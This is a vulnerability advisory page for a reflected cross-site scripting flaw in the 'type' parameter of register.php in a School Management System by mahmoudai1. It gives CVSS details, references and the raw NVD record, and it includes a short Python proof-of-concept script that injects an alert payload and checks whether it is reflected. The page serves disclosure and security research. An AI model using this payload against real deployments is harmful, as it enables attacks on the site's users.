CVE-2026-37750

Description

A reflected Cross-Site Scripting (XSS) vulnerability in School Management System by mahmoudai1 allows unauthenticated remote attackers to execute arbitrary JavaScript in victim's browsers via the unsanitized type parameter in register.php.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

School Management System (by mahmoudai1)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-37750
# Target: School Management System (mahmoudai1)
# Vulnerable File: register.php
# Vulnerable Parameter: type

target_url = "http://example.com/register.php"
xss_payload = "<script>alert('CVE-2026-37750_PoC')</script>"

# Inject payload into the 'type' parameter
params = {
    "type": xss_payload
}

try:
    response = requests.get(target_url, params=params, timeout=5)
    
    # Check if the payload is reflected unsanitized in the response
    if xss_payload in response.text:
        print("[+] Vulnerability Confirmed: Reflected XSS found in 'type' parameter.")
        print(f"[+] Payload URL: {response.url}")
    else:
        print("[-] Vulnerability not detected or payload was sanitized.")

except requests.exceptions.RequestException as e:
    print(f"[Error] Connection failed: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-37750
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-37750
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-37750/
[4] VulDB https://vuldb.com/cve/CVE-2026-37750
[5] https://github.com/mahmoudai1/school-management-system
[6] https://github.com/mahmoudai1/school-management-system/blob/main/register.php
[7] https://github.com/menevarad007/CVE-2026-37750
[8] https://github.com/menevarad007/CVE-2026-37750

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-37750", "sourceIdentifier": "[email protected]", "published": "2026-04-28T22:16:49.330", "lastModified": "2026-04-29T21:23:06.397", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected Cross-Site Scripting (XSS) vulnerability in School Management System by mahmoudai1 allows unauthenticated remote attackers to execute arbitrary JavaScript in victim's browsers via the unsanitized type parameter in register.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/mahmoudai1/school-management-system", "source": "[email protected]"}, {"url": "https://github.com/mahmoudai1/school-management-system/blob/main/register.php", "source": "[email protected]"}, {"url": "https://github.com/menevarad007/CVE-2026-37750", "source": "[email protected]"}, {"url": "https://github.com/menevarad007/CVE-2026-37750", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}